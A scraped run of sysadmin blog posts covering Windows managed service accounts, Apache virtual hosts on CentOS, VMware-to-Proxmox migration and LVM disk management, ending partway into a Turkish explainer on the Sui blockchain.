Güncellemesi: Sunucunuzun Computer objesini bu güvenlik grubuna ekledikten sonra, sunucunun yeni grup üyeliğini algılayabilmesi için hesabı kuracağınız sunucuyu yeniden başlatmanız (Restart) gerekir. gMSA Hesabına Sonradan Yeni Sunucu Ekleme (Dikkat): Hesaba sonradan sadece komutla (Set-ADServiceAccount) bir sunucu eklemek isterseniz dikkatli olmalısınız. Eğer komuta mevcut sunucuları da dahil etmezseniz, eskiler silinir. Bu yüzden Security Group kullanmak her zaman en güvenli ve kolay yöntemdir. Komutla yapacaksanız önce mevcutları listeleyin: 1 Get-ADServiceAccount -Identity "SQLServices" -Properties PrincipalsAllowedToRetrieveManagedPassword Daha sonra eski ve yeni sunucuları bir arada yazarak güncelleyin: 1 Set-ADServiceAccount -Identity "SQLServices" -PrincipalsAllowedToRetrieveManagedPassword "EskiSunucu$", "YeniSunucu$" Seçenek B: Stand-Alone MSA Oluşturma (Tek Sunucu İçin) Sadece tek bir sunucuda çalışacak standart bir sMSA oluşturmak için komut şöyledir: [!NOTE] sMSA oluştururken gMSA’da kullanılan -DNSHostName parametresi kullanılmaz. Bunun yerine hesabı tek bir makineye kilitlemek için -RestrictToSingleComputer parametresi kullanılır. 1 2 3 4 5 # 1. sMSA hesabını oluşturun (-RestrictToSingleComputer tek makine kısıtlamasını uygular) New-ADServiceAccount -Name "AppTestMsa" -RestrictToSingleComputer # 2. sMSA hesabını doğrudan çalışacağı bilgisayara bağlayın Add-ADComputerServiceAccount -Identity "SunucuAdi" -ServiceAccount "AppTestMsa" ADIM 3: Sunucuyu Hizmet Hesabı İçin Hazırlama Oluşturulan hesabı kullanmak için ilgili sunucuda (Örn: IIS, SQL, ADFS sunucusu) hesabı yüklemeniz gerekir: 1 2 3 4 5 6 7 8 # Eğer yüklü değilse RSAT (Remote Server Administration Tools) AD modülünü yükleyin. Install-WindowsFeature RSAT-AD-PowerShell # Hesabı sunucuya kurun Install-ADServiceAccount -Identity "SQLServices" # Kurulumun başarılı olduğunu doğrulamak için test edin (True dönmelidir) Test-ADServiceAccount -Identity "SQLServices" Yerel İzinler ve Gruplara Ekleme Hizmet hesabının sunucuda sorunsuz çalışabilmesi için işletim sistemi tarafında bazı haklara sahip olması gerekir: Windows Servisleri için hesabın “Log on as a service” (Servis olarak oturum açma) hakkına ihtiyacı vardır. Zamanlanmış Görevler için hesabın “Log on as a batch job” (Toplu iş olarak oturum açma) hakkına ihtiyacı vardır. Eğer hesap sunucuda yerel Administrators grubunda değilse, bu izinleri secpol.msc (Local Security Policy) üzerinden verebilir veya hesabı PowerShell ile yerel bir gruba dahil edebilirsiniz: 1 Add-LocalGroupMember -Group "Administrators" -Member "SQLServices$" ADIM 4: Servisi, Uygulamayı veya Görevi Hesap ile Çalıştırma Oluşturulan hesabı bir servise atarken, hesap adının sonuna her zaman $ (dolar) işareti koymayı unutmayın (Örn: DOMAIN\SQLServices$). Windows bu hesabın bir MSA/gMSA olduğunu kendisi algılar. A. Windows Servisleri services.msc üzerinden servisin “Log On” sekmesini seçin. Hesap adı kısmına DOMAIN\SQLServices$ yazın ve şifre kısımlarını tamamen boş bırakın. B. IIS Application Pool AppPool “Advanced Settings” > “Identity” alanına girin. “Custom account” seçerek DOMAIN\SQLServices$ yazıp şifreyi boş bırakın. C. Zamanlanmış Görevler (Scheduled Tasks) 1. Arayüz (GUI) Kullanarak (Püf Noktası): Görev Zamanlayıcı (Task Scheduler) arayüzünde hesabı arattığınızda gMSA hesabını bulamayabilirsiniz. Seçim ekranında “Object Types” (Nesne Türleri) butonuna tıklayın. Gelen ekranda sadece “Service Accounts” (Hizmet Hesapları) seçeneğini işaretli bırakın (Users ve diğerlerini kaldırın). Ardından hesabınızı aratıp seçebilirsiniz. 2. PowerShell Kullanarak: Arayüz yerine PowerShell ile atama yapmak isterseniz şu komutları kullanabilirsiniz: 1 2 $Principal = New-ScheduledTaskPrincipal -UserID "DOMAIN\SQLServices$" -LogonType Password -RunLevel Highest Set-ScheduledTask -TaskName "GorevinAdi" -Principal $Principal [!IMPORTANT] Hizmet Yeniden Başlatma: Hesabı atadıktan sonra, ayarların geçerli olması için ilgili hizmeti veya uygulama havuzunu yeniden başlatmanız şarttır. Zamanlanmış görevlerde ise yetki hatası alırsanız sunucuyu yeniden başlatmak Kerberos biletini güncelleyecektir. ADIM 5: Parola Yönetimi ve Döngüsü Parola yönetimi tamamen Windows işletim sistemi (Active Directory) tarafından yapılır. Parola döngüsü varsayılan olarak 30 gündür. [!CAUTION] Parola yenileme süresi (ManagedPasswordIntervalInDays) yalnızca hesap oluşturulurken -ManagedPasswordIntervalInDays parametresiyle belirlenebilir ve sonradan değiştirilemez. Hesabı oluşturduktan sonra bu değeri güncellemek isterseniz hesabı silip yeniden oluşturmanız gerekir. 1 2 3 4 5 # Parola döngüsünü 20 gün olarak ayarlamak için (YALNıZCA HESAP OLUŞTURULURKEN kullanılır) New-ADServiceAccount -Name "SQLServices" ` -DNSHostName "sqlservices.domain.local" ` -PrincipalsAllowedToRetrieveManagedPassword "SQL_Sunuculari" ` -ManagedPasswordIntervalInDays 20 ADIM 6: Hesap Kaldırma (Gerektiğinde) Eğer bir yönetilen hizmet hesabını kaldırmak isterseniz şu adımları izleyin: 1 2 3 4 5 # 1. Önce sunucudan hesabı kaldırın (İlgili sunucuda çalıştırın) Uninstall-ADServiceAccount -Identity "SQLServices" # 2. Sonra Active Directory'den hesabı silin (Domain Controller'da çalıştırın) Remove-ADServiceAccount -Identity "SQLServices" İleri Seviye: SQL Server ve SPN (Service Principal Name) Yönetimi gMSA hesapları parolalarını otomatik yönetse de, varsayılan olarak Active Directory üzerine kendi SPN’lerini (Service Principal Name) yazma yetkilerine sahip değillerdir. Eğer SQL Server servisini bir gMSA ile çalıştırıyorsanız ve SPN yazılamazsa, SQL Server Kerberos yerine daha güvensiz olan NTLM kimlik doğrulamasına düşer (veya loglarda SPN kayıt hataları alırsınız). SQL Server’ın Kerberos ile güvenli çalışabilmesi için gMSA nesnesine SELF için Write servicePrincipalName yetkisi verilmelidir: 1 2 3 4 5 # 1. Active Directory PowerShell modülünü kullanarak hesabı bulun $gMSA = Get-ADServiceAccount -Identity "SQLServices$" # 2. dsacls aracı ile gMSA'ya kendi SPN'ini yazma yetkisi verin dsacls $gMSA.DistinguishedName /G "SELF:RPWP;servicePrincipalName" Bu yetki verildikten sonra SQL Server servisini yeniden başlattığınızda, servis kendi SPN kayıtlarını başarıyla oluşturacak ve Kerberos kimlik doğrulaması aktif hale gelecektir. Sorun Giderme ve İleri Seviye İpuçları İsimlendirme Sınırı: gMSA oluştururken -Name parametresi, Active Directory sAMAccountName kısıtlamalarından dolayı en fazla 15 karakter uzunluğunda olabilir. MSA Hesabı ile Komut Çalıştırma (Test Etme): Bir komut satırını veya PowerShell’i MSA hesabıyla çalıştırmak için RunAs komutu işe yaramaz. Sorun giderme için PsExec aracını kullanmalısınız: PsExec64.exe -i -u DOMAIN\SQLServices$ -p ~ cmd.exe PowerShell Send-MailMessage Hatası: Bir zamanlanmış görev MSA ile çalışırken e-posta göndermeye çalışırsa (kimlik doğrulama olmadan) net_io_connectionclosed hatası verebilir. Bu durumda anonim gönderimi zorlamak için boş bir kimlik bilgisi (NT AUTHORITY\ANONYMOUS LOGON) tanımlamak gerekebilir. Sık Sorulan Sorular Yönetilen hizmet hesapları neden daha güvenlidir? Parolaları (240 baytlık karmaşık şifreler) otomatik olarak oluşturup periyodik olarak değiştirdiği için kaba kuvvet (brute-force) saldırılarını ve statik şifre risklerini engeller. KDS kök anahtarının oluşturulması neden 10 saat sürebilir? Kök anahtar, Active Directory yapısındaki tüm etki alanı denetleyicilerine (DC) çoğaltılmalıdır ve bu replikasyon süreci varsayılan olarak zaman alır. sMSA 🆚 gMSA İkisi arasındaki tercih, hesabı kullanacak uygulama veya servisin gereksinimlerine bağlıdır. Eğer uygulama yalnızca tek bir sunucuda çalışıyorsa sMSA tercih edilebilir; ancak servisin birden fazla sunucuda çalışması gerekiyorsa gMSA kullanılmalıdır. Özellik sMSA gMSA Desteklenen Sunucu Sayısı Yalnızca 1 Birden fazla Minimum Gereksinim Windows Server 2008 R2 Windows Server 2012 (Forest FL) Parola Yönetimi Otomatik (AD tarafından) Otomatik (AD tarafından) Load Balancing / Cluster ❌ ✅ Kerberos Şifreleme Tipi Varsayılan Yapılandırılabilir (AES128/AES256) [!NOTE] Windows Server 2025 ile birlikte dMSA (Delegated Managed Service Account) adı verilen yeni bir hesap modeli tanıtılmıştır. Bu model, gMSA ve sMSA’nın doğal halefi olup güvenlik ve esneklik açısından daha ileri bir seviyeyi temsil etmektedir. — farukguler --- ## Apache Virtual Hosts Configuration Centos Stream 9 Link: https://farukguler.com/posts/apache-virtual-hosts-configuration-centos-stream-9/ Apache Virtual Hosts allows you to host multiple websites on a single server. By using virtual hosts, you can configure different domain names to point to different websites or web applications, all on the same physical machine. This is especially useful for web hosting companies or developers who need to manage multiple websites without needing additional servers. There are two (2) main types of virtual hosts in Apache: Name-Based and IP-Based. Name-based virtual hosts use the domain name to determine which website to serve, while IP-based virtual hosts use the server's IP address. ***Our example is on Name-based Virtual Hosts. Creating a directory framework: The document root is the directory where website files for a domain are stored and served to clients. The document root can be stored in any location you want. The example directory framework is shown here. /var/www/├── farukguler.com│ └── public_html├── digital-defender.eu│ └── public_html├── linuxacademy.edu.gov│ └── public_html├── windows-server.dev│ └── public_html You must create a separate directory for each domain name that will be kept on the server.Now let's create the root directory ve web files for the domain: farukguler.com echo '192.168.5.111 www.farukguler.com' >> /etc/hosts echo '192.168.5.111 www.example.com'>> /etc/hosts sudo mkdir -p /var/www/farukguler.com/public_htmlsudo mkdir -p /var/www/example.com/public_html sudo nano /var/www/farukguler.com/public_html/index.htmlsudo nano /var/www/example.com/public_html/index.html #locate: /var/www/farukguler.com/public_html/index.html<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> </style></head><body> <h1>farukguler.com</h1> <p>Web sitemiz şu anda bakımdadır.</p> <img src="https://www.ns-newelding.com/wp-content/uploads/2019/10/maintenance-of-industrial-plant-1080x630.jpg" width="700" height="400" alt="bakim"></body></html> If you want to change the ownership of the Apache HTTP Server's document root directory to the "apache" user, you can use the chown command. With this process, the "apache" user gains permission to read and write the document root directory and the files within it. #Give file ownership permissions to user "apache":sudo chown -R apache: /var/www/farukguler.com#Give everyone "Read" and "execute" access in your directory:sudo chmod -R 755 /var/www/farukguler.com#Check if there are any errors.httpd -t #Apache Service config file:cd /etc/httpd/confnano httpd.conf#farukguler.com config file:cd /etc/httpd/conf.d/touch farukguler.com.confnano farukguler.com.conf***A virtual host file is a configuration file that determines how the Apache HTTP Server behaves for a particular website or domain. These files allow the server to manage multiple websites or applications on the same server. Create this file. #locate: /etc/httpd/conf.d/farukguler.conf<VirtualHost *:80> ServerName farukguler.com ServerAlias www.farukguler.com ServerAdmin webmaster@farukguler.com DocumentRoot /var/www/farukguler.com/public_html <Directory /var/www/farukguler.com/public_html> Options -Indexes +FollowSymLinks AllowOverride All </Directory> ErrorLog /var/log/httpd/farukguler.com-error.log CustomLog /var/log/httpd/farukguler.com-access.log combined</VirtualHost> ServerName: The name of the domain in which the virtual host configuration will be used. ServerAlias: All other domains, such as the subdomain in which the virtual host configuration will be used, are www. DocumentRoot: The directory where Apache serves domain files. Options: This directive controls server properties on a directory basis. -Indexes: Prevents index listings. FollowSymLinks: Tells the web server to follow symbolic links. AllowOverride: Specifies which directives declared in the file can override .htaccess configuration directives. ErrorLog, CustomLog: Specifies the location of the log files. .etc sudo apachectl configtest>>Syntax OKsudo systemctl restart httpd Check the syntax of Apache configuration files and restart the Apache service Firewalld Permissions (Allow: 80,43) sudo firewall-cmd --permanent --zone=public --add-service=httpsudo firewall-cmd --permanent --zone=public --add-service=httpssudo firewall-cmd --reloadsudo firewall-cmd --list-ports Summary:I explained how to configure Apache virtual host in CentOS 9. You can repeat these steps for all your other domain names. Additionally, it will be beneficial for you to secure your website with an SSL/TLS certificate. You need to configure dns records for all your domain names. Wait! There is another way. /Faruk GULER --- ## Vmware to Proxmox VM Migration Import Link: https://farukguler.com/posts/vmware-to-proxmox-vm-migration-import/ In this article, I explain 2 different ways how you can perform the VMware > Proxmox migration process quickly and successfully. Disk Extensions Virtualization Platforms:Vmware: OVF, OVA, VMDKMicrosoft Hyper-V: VHD, VHDXProxmox: QCOW2, RawVirtualBox: VDI, VMDK.etc. 1- Using Proxmox ESXI Import Wizard Proxmox VE offers VM Import Wizard as of 2024. You can use this to import all VMware ESXi VMs by enabling VM migration from VMware to Proxmox. Prerequisite: Make sure your Proxmox VE version is 8 (or above) and has the latest available system updates. Proxmox VE: Data Center > Storage > Add > ESXi > IP, Username, Password: After logging into the Esxi host: Select VMs to import > Specify Imported VMs > Import. 2- Manually VMware to Proxmox migration: Make sure you can see your Virtual Machine's files in these directories and locations. You can transfer the VM to a conspicuous location using the appropriate commands. **You can use SCP or Winscp tool for file transfer. Locate:ESXI Host: ds///vmfs/volumes/457b5u78-689ocd19-2048-vy345606fgyn/Local Drive: D:\Faruk\Vms\IIS-MERKEZ\ Create a new Proxmox VM: First you need to create a Proxmox virtual machine and make sure you choose the correct BIOS settings and hard disk drive type. Generally, you should select OVMF (UEFI) as the BIOS setting and set the hard disk drive type to SATA. **Set the BIOS settings on the system to UEFI (usually OVMF (UEFI) is selected) **You must select the Device Type as SATA for the disks. Typically, a virtual disk contains two files: *.vmdk and *-flat.vmdk. These files should be copied together to the target path of Proxmox. **You can use SCP or Winscp tool for file transfer in Proxmox. #scp -v <source> <destination>scp -v root@192.168.5.100:/vmfs/volumes/457b5u78-689ocd19-2048-vy345606fgyn/50/windows-app.vmdk /var/lib/vz/tempscp -v root@192.168.5.100:/vmfs/volumes/636b5c77-974fab32-2048-bc169506deba/50/windows-app-flat.vmdk /var/lib/vz/temp **Deleting the files copied to the Proxmox Local node after the process will prevent unnecessary disk space usage. Import VMDK Disk: *** qm importdisk This command is used to add an existing disk file to the Proxmox VE virtual machine. This command imports the specified windows-app.vmdk file into virtual machine 117 on Proxmox VE and stores this disk in the area named "Prox-Pool". qm importdisk 117 /var/lib/vz/windows-app.vmdk Prox-Pool --format rawqm importdisk 117 /var/lib/vz/windows-app-DB.vmdk Prox-Pool --format raw#Format: qcow2, raw, vmdk#The conf. file location: VM with ID 117./etc/pve/nodes/pve1/qemu-server//etc/pve/qemu-server/ The converted vmdk disk will automatically show as “Unused Disk” in Proxmox VE. Now click on VM 117 > Hardware > Unused Disk 0 >  Select Edit and make sure the bus/device is also SATA. Now go to VM 117 > Options > Boot Order > move newly added disk to first > enable > press OK. Start the Virtual Machine: Click VM 117 > Console > Start Now Vm Ops. : #[Convert Vmdk To Qcow2, RAW]#Disk convert and move: Local -> Prox-Pool [*CEPH]#Format: qcow2, raw, vmdkqemu-img convert -f vmdk /tmp/windows-app-server/windows-app.vmdk -O qcow2 /var/lib/vz/images/117/windows-app.qcow2#Edit virtual machine config file and attach disk file:nano /etc/pve/local/qemu-server/117.conf#Import Ovf To Proxmoxqm importovf 117 windows-app.ovf local-lvm#[Convert VHD to VMDK]---------------------- Saygılarımla... --- ## LVM Logical Volume Management Install, Configure, Manage Part-2 Link: https://farukguler.com/posts/lvm-logical-volume-management-install-configure-manage/ 🗃️🗃️🗃️ LVM (Logical Volume Management) (LVM) is a storage management technology used in Linux-based operating systems. LVM provides the ability to partition physical storage space (hard disk or disk drives) into partitions called "Logical Volumes", which are its logical volume. This allows you to flexibly create, merge, expand-reduce, in short, "Manage" partitions on the physical disks where data is stored. Layer 1: Hard Drivers and Partitions consisting of them. These are your physical hard disks used by LVM and the standard file system. They keep all the data of the system on them. Layer 2: PV (Physical volume) These are the partitions on your physical hard drives that can be used by LVM. They are used to create volume groups. Layer 3: There is a physical volume called VG (Volume group). It is a virtual storage pool that combines multiple PVs and can be divided into logical volumes (LV). Layer 4: LV (Logical volume) is present. This is part of VG which you can use as a partition. Corresponds to Partitions; they usually hold a file system. But unlike partitions, they can span multiple disks and do not need to be physically contiguous. Layer 5: There are hierarchical directories. Your disks are "mounted" in these directories and used. 🗃️ ⚙️ LVM: [Install, Configure] ⚠️ Be careful and "back up" your data before these operations. Misconfiguration may result in "System crashes" and "Data loss"! 🎓For LVM configuration and general storage, I recommend using a second disk other than the /boot disk where the system is installed. This advice will help you in case of future expansion or maintenance work on your structure. 🎓Since LVM comes installed as standard on many Linux distributions, its installation will not be explained here. If it is not installed on your system, you will need to install it manually. ##System: RHELL / Centos--------------------------------|#[LVM] Install, Configure:--------------------------------|### Disk Configuration ####Disk/Directory Status:sudo du -hla /storage/logsudo du -hla --max-depth=1 / | sort -h#Check Status:ls -l /dev/sd*df -Thlsblk -psudo fdisk -l#Check the disk added to the system: (SCSI or NVMe)ls /sys/class/scsi_host/echo "- - -" | tee /sys/class/scsi_host/host*/scanecho "1" > /sys/class/block/sda/device/rescan##Disk Partitioning##1- #Using Fdisk: [sdb1, nvme0n2, ...]sudo fdisk /dev/nvme0n2Welcome to fdisk (util-linux 2.37.4).Changes will remain in memory only, until you decide to write them.Be careful before using the write command.Command (m for help):m - print this help menu:n - add a new partition:p - print the partition table:Create a new label g - create a new empty GPT partition table [1-128 Partitions] G - create a new empty SGI (IRIX) partition table o - create a new empty DOS partition table s - create a new empty Sun partition tablePartition type p primary (2 primary, 0 extended, 2 free) [Max 4 pieces] e extended (container for logical partitionsSelect (default p):[Unlimited]*Specify the starting and ending sectors. You can use 100% of all unallocated space.*Disk type will be [Linux LVM] by default.*To change this, use the [t] command.*Specify the partition type and number we want to change. Enter code 8e:#Write the changes to disk. [Attention!]t - Change partition type:L - List partition type:8e - Set/change partition type to 'Linux LVM':#w - Write changes to disk:p - List disk partitions:q - Exit from fdisk tool:#Introduce disk changes to the kernel:partprobe### LVM Configuration ####LVM Status Check:lvm versionlvm formatsshow system lvm overview#Create Physical volume(FV): (target: disk & partitions)pvspvdisplaypvcreate /dev/nvme0n2pvcreate /dev/nvme0n2p1 /dev/nvme0n2p2#Create Volume group(VG): (name:repo_vg)vgsvgdisplay#vgcreate repo_vg /dev/nvme0n2#vgcreate repo_vg /dev/nvme0n2p1#vgcreate repo_vg /dev/nvme0n2p1 /dev/nvme0n2p2#Create logical volume(LV): (name:logs)lvslvdisplay#lvcreate -n logs -L 55G repo_vg (spesific)#lvcreate -n logs -l 100%FREE repo_vg (%100)#lvcreate -n logs -l 75%FREE repo_vg (%75)#Check Status:lsblk -pdf -ThDisk/Partition Status:sudo file -sL /dev/nvme0n2sudo blkid /dev/repo_vg/logs1- Format: Disk, Partition, or LVM [Ext3/4]:(sdb1,nvme0n2p1, ..)#sudo mkfs -t ext4 /dev/nvme0n2#sudo mkfs -t ext4 /dev/nvme0n2p1#sudo mkfs -t ext4 /dev/repo_vg/logs2- Format: Disk, Partition, or LVM [Xfs]: (sdb1,nvme0n2p1, ...)#sudo mkfs -t xfs /dev/nvme0n2#sudo mkfs -t xfs /dev/nvme0n2p1#sudo mkfs -t xfs /dev/repo_vg/logsFolder Ops:sudo mkdir /LOGDIRsudo mkdir /alansudo mkdir -p /alan/hold-27/xxx (sub tree)#Mount & Umount:sudo mount /dev/repo_vg/logs /alansudo umount /dev/repo_vg/logs /alan#fstab: (persistence)sudo cp /etc/fstab /etc/fstab.oldcat /etc/fstab#nano /etc/fstab#/dev/repo_vg/logs /alan ext4 defaults 0 0#/dev/repo_vg/logs /alan xfs defaults 0 0sudo mount -avsudo findmnt --verifysudo systemctl daemon-reload 👨🏼‍💻 LVM: [Manage] #Expand the size of the Logical Volume: Create a new partition on the hard disk. Add the partition you just created as a physical volume. Add the new physical volume to the volume group. Assign space from the volume group to the logical volume. Resize the filesystem. #Reduce the size of the Logical Volume: [Reverse Process of Expansion] --------------------------------------|#[LVM] Manage: Extend and Reduce--------------------------------------|#fschk Check for errors:sudo e2fsck -ff /dev/nvme0n2p1sudo e2fsck -f /dev/repo_vg/logs#>>>> Expand Sections <<<<##Physical Volume(FV) expand:pvresize /dev/nvme0n2p1#Volume Group(VG) expand:vgextend repo_vg /dev/nvme0n2p1#Logical Volume(LV) expand: (LV Name:logs)lvextend -L +5G /dev/repo_vg/logslvextend -l +100%FREE /dev/repo_vg/logs#>>>> Extend file system <<<<# If you are using Ext3/4:(resize2fs)#sudo resize2fs /dev/repo_vg/logs (%100)#sudo resize2fs /dev/repo_vg/logs 84G (only more +GB) ⦁If you are using XFS:(xfs_growfs)#sudo xfs_growfs /dev/repo_vg/logs(%100)#sudo xfs_growfs -D 10G /dev/repo_vg/logs (+10GB)#>>>> LVM Size Reduction <<<<# [Reverse Process of Expansion] (*Only Ext3/4)#Disk reducing is not recommended. If the reducing is greater than the disk capacity, you will lose data!!umount /dev/mapper/repo_vg/logs /LOGDIRe2fsck -f /dev/mapper/repo_vg/logsresize2fs /dev/mapper/repo_vg/logs 5Glvreduce -L -5G /dev/mapper/repo_vg/logsresize2fs /dev/mapper/repo_vg/logsmount /dev/mapper/repo_vg/logs /LOGDIR 🛑 LVM Uninstalling 🛑#umount /dev/mapper/repo_vg/logsRemoving LV from LVM:#sudo lvremove /dev/mapper/repo_vg/logsRemoving VG from LVM:#sudo vgremove repo_vgRemoving PV from LVM:#sudo pvremove /dev/nvme0n2#sudo pvremove /dev/nvme0n2p1#sudo pvremove /dev/mapper/repo_vg/logs #LVM Conf. Backup and Restoresudo cp -r /etc/lvm /LVM-Yedeksudo cp -r /LVM-Yedek /etc/lvm 🔄 LVM Migration: What is LVM Migration? LVM migration is an important feature that allows you to move logical volumes to a new disk without data loss and without interruption. This feature is used to transfer our existing data from the old disk to a new disk. We usually perform such migrations when an error or malfunction occurs in the disks or when our storage requirements change. 🛑⚠️***Warning: The bootloader cannot read LVM volumes directly. Therefore, you need to create your /boot partition on a standard (non-LVM) partition and define it in the fstab file. Skipping this step may cause your system to fail to boot after LVM migration. You may need to use an external live disk image to resolve this situation. 💡 In the default installation, the [/] and [swap] partitions are always created in LVM, and the [/boot] partition is created in a separate Standard Partition. --------------------------------------|#[LVM] Manage: Migration--------------------------------------|-1 Mirroring-2 Pvmove#-2 Using Pvmove:lsblk -ppvcreate /dev/nvme0n2 [New PV create]vgextend repo_vg /dev/nvme0n2 [VG extend]pvmove -n /dev/repo_vg/logs /dev/nvme0n2 [PV move where New Disk]pvmove /dev/sda1 /dev/nvme0n2 [Move All Disk to New disk]#Cleanup (spesific)vgreduce repo_vg /dev/sda1 [PV remove From VG]pvremove /dev/sda1 [PV remove]About Using Pvmove: With pvmove, data on the specified logical volume is moved to another physical volume. After this process, the data on the source physical volume is deleted.***Physical Units: /dev/* It represents the locations where data is kept and moved.The data on the /dev/repo_vg/logs logical volume will be moved from the /dev/sda1 PV to the target volume /dev/nvme0n2 PV. -n is the name of the LV to be moved. Linear, Striped, Mirrored, Snaphot Volume: -Linear:-Striped:-Mirrored:-Snaphot Volume-4 Snaphot Volume:***Snapshots are instant copies of Volume and Logical Volumes. In this way, a copy of the Volume from which the snapshot was taken is kept. Snapshot is a fast and efficient solution to data loss in the volume.***There must be enough free space in the volume group to create a new snapshot.***Snapshots cannot be used as a backup solution. Creating LVM Snapshot:#Check if there is free space in the volume group using the 'vgs' command to create a new snapshot.vgslvcreate -L 1GB -s -n logs-snap1 /dev/repo_vg/logslvsSnapshot Usage:#You can mount and view #Snapshot in a directory you created.mkdir /mnt/logs-snap1mount /dev/repo_vg/logs-snap1 /mnt/logs-snap1#Expand the Snapshot size:lvextend -L +2G /dev/repo_vg/logs-snap1Snapshot Restore and Merge:#If your original space is completely lost, merge the snapshot by converting it.#The time when the snapshot is created is very important.#After the defragmentation is complete, the snapshot is automatically removed.lvdisplay /dev/repo_vg/logs-snap1umount /mnt/logs-snap1#lvconvert --merge /dev/repo_vg/logs-snap1Snapshot Remove:lvremove /dev/repo_vg/logs-snap1 https://docs.redhat.com/en/documentation/red_hat_enterprise_linux/5/html/logical_volume_manager_administration/lv_overview 🗃️📜 Tutorials / Information: ⦁ The highest number of physical volumes within each volume group is 256.⦁ LVM size is minimum 4MB and maximum 255.99GB.⦁ The maximum volume group (VG) per device is 99.⦁ Traditional partitioning is good, but LVM is better. (RedHat Enterprise)⦁ XFS file system can be expanded but not reducing!! (year 2024) The only solution is to back up the data, delete the volume, create a smaller volume and restore the data there.⦁ Disk reducing is not recommended. If the reducing is greater than the disk capacity, you will lose data!!⦁⦁- LV: Cannot belong to more than one VG.- VG: Can contain more than one LV.- PV: Cannot belong to more than one VG.- VG: Can consist of more than one PV. 🗃️📜 Some I use LVM Commands: Command Descriptionpvs Display physical volume informationvgs Display volume group informationlvs Display logical volume informationpvcreate Create physical volumepvdisplay Display physical volume informationpvremove Remove physical volumepvscan scan to PV'svgcreate Create volume groupvgdisplay Display volume group informationvgremove Remove volume groupvgextend/vgreduce Extend or reduce volume grouplvcreate Create logical volumelvdisplay Display logical volume informationlvremove Remove logical volumelvextend/lvreduce Extend or reduce logical volumehttps://man7.org/linux/man-pages/man8/lvm.8.htmlhttps://pastebin.com/raw/ugxWRJps ##The same rules apply other systems.⦁ Debian / Ubuntu⦁ Slackware⦁ Arch Linux 📊LVM Advantages: ⦁ https://bidb.itu.edu.tr/seyir-defteri/blog/2013/09/06/lvm-(logical-volume-management)⦁ https://access.redhat.com/documentation/fr-fr/red_hat_enterprise_linux/9/html/configuring_and_managing_logical_volumes/advantages-of-lvm_overview-of-logical-volume-management End of chapter 2 --- ## Sui (SUI) Nedir? Paralel İşlemle "Nesne Odaklı" ve SOLANA Rakibi (SOLANA Rival Blockchain) Link: https://farukguler.com/posts/sui-nedir/ Sui (SUI), “Monolitik Blockchain” (Ethereum, Bitcoin gibi) mimarisinin yarattığı ölçeklenebilirlik ve hız darboğazlarını aşmak için sıfırdan tasarlanmış, yüksek performanslı bir Layer 1 (Katman 1) blockchain protokolüdür. Sui, Meta’nın (Facebook) iptal edilen “Diem/Libra” projesinin teknik mirasçılarından biridir. Proje, “blockchain’lerin internet ölçeğinde milyarlarca kullanıcıya hizmet vermesi için ne gerekir?” sorusuna yanıt olarak Mysten Labs (eski Meta mühendisleri tarafından kuruldu) tarafından geliştirilmiştir. Projenin temel iddiası, “Nesne Odaklı (Object-Centric)” veri modeli ve “Paralel İşlem Yürütme” yeteneği sayesinde teorik olarak sınırsız yatay ölçeklenebilirlik sunmaktır. SUI, bu ağın yerel (native) varlığıdır. Ağın güvenliği (Proof-of-Stake), işlem ücretlerinin (gas) ödenmesi, depolama fonu ve yönetişim için kullanılır. Geleneksel Blockchain Sınırlaması ve Sui’nin Yaklaşımı Geleneksel blockchain’ler (örn. Ethereum) “hesap tabanlıdır” ve sıralı (sequential) çalışır. Bir işlemi (A bloğu) onaylamadan diğerine (B bloğu) geçemezler. Bu, ağ popülerleştiğinde tüm ağın tek bir “darboğaza” (bottleneck) sıkışmasına ve işlem ücretlerinin (gas) patlamasına neden olur. Sui’nin Radikal Çözümü: Nesne Odaklı Model Sui, blockchain’i bir işlem listesi olarak değil, “Nesneler” (Objects) topluluğu olarak görür. Bir “nesne”, bir token (örn. 100 SUI), bir NFT, bir akıllı sözleşme veya herhangi bir dijital varlık olabilir. Sahip Olunan Nesneler (Owned Objects): Sadece tek bir sahibin (cüzdanın) kontrol edebildiği nesnelerdir (örn. sizin SUI token’larınız veya NFT’niz). Paylaşılan Nesneler (Shared Objects): Birden fazla kullanıcının etkileşime girmesi gereken nesnelerdir (örn. bir DeFi likidite havuzu). Sui’nin mimari dehası, bu nesneleri nasıl işlediğinde yatar: Paralel İşlem Yürütme (Transaction Parallelization) Basit İşlemler (Çoğunluk): Eğer bir işlem “sahip olunan nesneler” arasında gerçekleşiyorsa (örn. Ali’nin Veli’ye SUI göndermesi), bu işlemin küresel bir konsensüse (sıralamaya) ihtiyacı yoktur. Sui, bu tür “basit” işlemleri anında ve diğer tüm işlemlerle paralel olarak yürütebilir. Karmaşık İşlemler (Azınlık): Sadece bir işlem “paylaşılan bir nesneye” (örn. bir DeFi havuzuna para yatırma) dokunuyorsa, Sui bu işlemi sıralı konsensüse (Narwhal & Bullshark) gönderir. Sonuç: Ağdaki işlemlerin büyük çoğunluğu (%80-90’ı) birbirini beklemeden, paralel olarak işlenir. Bu, Sui’ye (teorik olarak) saniyede yüz binlerce işlem (TPS) kapasitesi ve “yatay ölçeklenebilirlik” (ağa daha fazla makine ekleyerek hızı artırma) yeteneği verir. Sui’nin Diğer Teknik Özellikleri Sui Move (Programlama Dili): Sui, Meta’nın orijinal “Move” dilinin değiştirilmiş bir versiyonunu kullanır. “Move”, özellikle dijital varlıkların (nesnelerin) güvenli bir şekilde oluşturulması ve yönetilmesi için tasarlanmıştır. Varlıkların yanlışlıkla kopyalanmasını veya yok edilmesini engelleyen güçlü güvenlik özelliklerine sahiptir (Ethereum’un Solidity dilindeki bazı hack türlerini zorlaştırır). Narwhal & Bullshark Konsensüsü: Sui, konsensüs görevini ikiye ayırır: Narwhal (Veri Erişilebilirlik): İşlemleri toplar ve “sıralanmaya hazır” hale getirir. Bullshark (Konsensüs): Bu hazır işlemleri sıralar (karmaşık işlemler için). Bu ayrım, ağın yüksek verimde çalışmasını sağlar. Depolama Fonu (Storage Fund): Sui, “devletin şişmesi” (state bloat) sorununa ilginç bir ekonomik çözüm getirir. Ağa yüklediğiniz her veri (NFT, token) için bir “depolama ücreti” ödersiniz. Bu ücret, bir “Depolama Fonu”na gider ve bu fon, gelecekteki doğrulayıcılara (validator) verilerinizi saklamaları için ödeme yapar. Bu, ağı uzun vadede sürdürülebilir kılar. SUI Token: Token Arzı, Ekonomi ve Ekonomik Baskılar SUI token’ının tokenomisi, projenin en çok tartışılan ve en önemli yönüdür. SUI’nin Kullanım Alanları: Staking 